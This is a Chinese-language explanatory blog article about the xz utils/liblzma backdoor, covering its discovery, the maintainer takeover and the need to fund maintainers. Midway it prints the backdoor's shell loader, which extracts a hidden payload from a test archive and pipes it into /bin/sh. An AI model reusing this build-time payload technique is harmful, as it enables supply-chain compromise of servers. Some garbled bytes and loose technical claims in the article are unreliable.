SSH 中触发的漏洞可以允许黑客接管服务器。安全专家感到恐慌。这次攻击可能持续了两年多,需要大量的资源和技术技能。
在过去的几个月里,每个人都在谈论 SSH 中触发的漏洞。通常对它的描述相当复杂。这只是某个随机应用程序中的另一个漏洞吗?如果是这样,为什么网络安全专家如此关注这一漏洞,而在线论坛上充斥着恐慌的安全专家?让我们一探究竟!
正如我们在 wiz.io 上读到的,在 xz utils 的 5.6.0 和 5.6.1 版本中发现了一个后门,影响了 SSH。据我们了解,xz 是一个命令行压缩工具,由 lzma 和 xz 组成,并影响了 SSH。
2024年3月29日星期五,Andres Freund向Openwall邮件列表发送了一封电子邮件。邮件列表对于精通技术的人来说就像Discord一样,而Openwall是一个保护开源代码的项目。
正是在那里，Andres 分享了他令人不安的发现。
服务器接管
他当时正在使用安全Shell协议(SSH)进行一些工作。对于几乎每一个需要连接到服务器的人来说,SSH就像意大利面的叉子一样。开发人员、DevOps、SecOps以及技术领域的每个人都在使用SSH安全地连接到服务器。即使服务器也使用SSH连接到其他服务器。
所以Andres当时正在做正常的技术工作,但有些事情不对劲,不仅仅是2024年橄榄油的价格。当他使用SSH登录到一台服务器时,服务器开始准备起飞。
风扇转动得越来越快,通常安静的服务器开始发出吸气和打嗝的声音。在这种时候,人们会检查他们是否忘记关闭Windows时钟应用程序,那个耗费CPU资源的野兽。
但是Andres使用的是Debian。所以他能够立即排除这种可能性。此外,他注意到了更多的问题。Valgrind开始报告内存出现了一些问题。
这可能是什么原因呢?Windows Explorer突然开始挖掘比特币了吗?不可能是这样的!
通常人们会责怪服务器,然后忘记整个问题,但有些事情困扰着Andres,他决定进行调查。
在深入研究之后,他注意到实际上是ssh导致了所有这些症状。这很奇怪,因为ssh不显示广告,你也不能在上面玩《古墓丽影:决定版》。
那么这个几乎不消耗卡路里的应用程序到底是如何让服务器如此剧烈运转的呢?
兔子洞深处
兔子洞深处 Andres决定再深入一点。他启动了诊断工具,越来越接近找出问题的具体原因。肯定是ssh,但ssh中的哪个具体部分呢?他注意到是xz。
深入下去,发现xz的一个特定部分导致了CPU和内存的狂欢派对——liblzma。
总结一下。Liblzma是xz命令行工具使用的压缩库。SSH使用了该命令行工具。这是计算机程序中正常的依赖链,在这种情况下,正是SSH的深层依赖liblzma导致了问题。
感谢开源,Andres能够上网查看究竟发生了什么。他能够看到Debian的xz utils的源代码。
Andres发现了大量关于恶意代码如何工作的信息。有两个测试文件实际上是存档文件。一个复杂的操作系统导致这些存档文件在构建过程中被提取出来,并以包含后门的方式修改SSH构建,让黑客可以登录到服务器。
有趣的是,Andres发现这个后门还在开发中。随着xz的后续版本发布,后门的作者试图隐藏后门的存在,并实际修复了导致Valgrind错误列表像圣诞树一样闪烁的内存问题。
幸运的是,这个后门的作者相当低级,这让Andres意识到有些不对劲。再过几天或几周,就没人会注意到有什么问题了。
The source code of the backdoor:
####Hello####
#��Z�.hj�
eval `grep ^srcdir= config.status`
if test -f ../../config.status;then
eval `grep ^srcdir= ../../config.status`
srcdir="../../$srcdir"
fi
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc $srcdir/tests/files/good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc|/bin/sh
####World####特别是因为整个后门程序是以一种隐藏在某些仓库中、只在特定环境下激活的方式构建的。Debian操作系统是决定使用该后门的一个重要因素。"
后门的影响
安全专家对这一发现感到震惊,每一天都带来更多可怕的细节。通常当你有一台服务器,并想要修复一个安全漏洞时,你可以使用SSH登录并更新软件。
但在这种情况下,SSH本身就存在一个后门。在这种情况下该怎么办?
Wiz.io建议立即停止使用、升级受影响的服务器或者降级到不存在黑客可乘之机的版本。美国国家标准与技术研究院(NIST)对这个漏洞给予了10分的最高评级(满分10分)。美国国家标准与技术研究院很少会对漏洞给予如此高的评级。
上一次发生这种情况是在 2024 年 2 月 21 日，针对 CVE-2024-1709：“ConnectWise ScreenConnect 23.9.7 及之前版本受身份验证绕过漏洞的影响，该漏洞可能允许攻击者直接访问机密信息或关键系统。”
说 SecOps 目前正面临困境还算轻描淡写。现实情况是非常糟糕的。即使目前没有关于针对已经设置的后门的任何主动攻击信息，形势依然严峻。
此外，代码库中那个令人不安的“Hello World”玩笑似乎暗示这只是类似攻击的开始，实际上要将后门部署到目前这种程度，已经涉及到相当复杂的操作和技术知识。
这是支持核心维护者的信号
关于这次攻击的所有细节都需要被发现，未来也将成为许多学术论文的主题。但得益于 Rob Mensching 的努力，我们已经能了解到许多内容。
一些专家认为这并非一次快速攻击，而是一个经过精心策划的计划。两年前，一些人开始持续向 xz 项目的维护者施压，要求将维护权交给能够继续项目的新人员。公开的沟通信息表明，还存在一些隐晦的实质压力。
最终，新维护者接手项目并开展工作，一切都很顺利，直到后来被感染的档案被加入项目。
我不确定那些向原 xz 维护者施压的人是否参与其中。也许是，也许不是。不管怎样，新维护者就是这样上任的。同样，我也不能确定贾谭是否真的就是行动背后的关键人物，因为他/她的系统也可能已经被入侵。这里存在很多不确定因素。
由于维护者的系统也可能被攻陷，这方面存在很多不确定性。
这里强调的一个重要问题是核心库的维护者有多脆弱。我们所有人都依赖这些库，但他们通常无法从这项工作中获得收入，可能处于失业状态，可能身陷危机，或面临困境。
这些维护者没有得到他们所需的所有资源，这是无法接受的。我们需要一种解决方案，让整个社区（包括企业）全面地物质上支持这些人，并提供他们需要的建议，使他们能够专注于自己的项目而不陷入任何陷阱。在这个案例中，如果原维护者能继续项目工作，他本可以立即阻止漏洞的产生！
开源万岁
得益于所有相关部分的开源性质，我们得以深入了解这次后门攻击。如果无法查看源代码，安德烈斯就无法如此迅速地向世界发出警报。对于封闭系统来说，从创建漏洞报告到公司复现、调查和修复可能需要数周甚至数月，导致后门在野外持续更长时间。
由于我们知道黑客引入后门的每一步操作，开源开发者和调查人员将能够封堵这一路上开启的每一扇门。这意味着即使如此复杂的攻击可能发生，潜在的攻击面也会被封锁。
在这场战斗中，开源就像一个自愈的生物，在每次病毒侵袭后变得愈加强大。当然，我们仍需要继续改进。
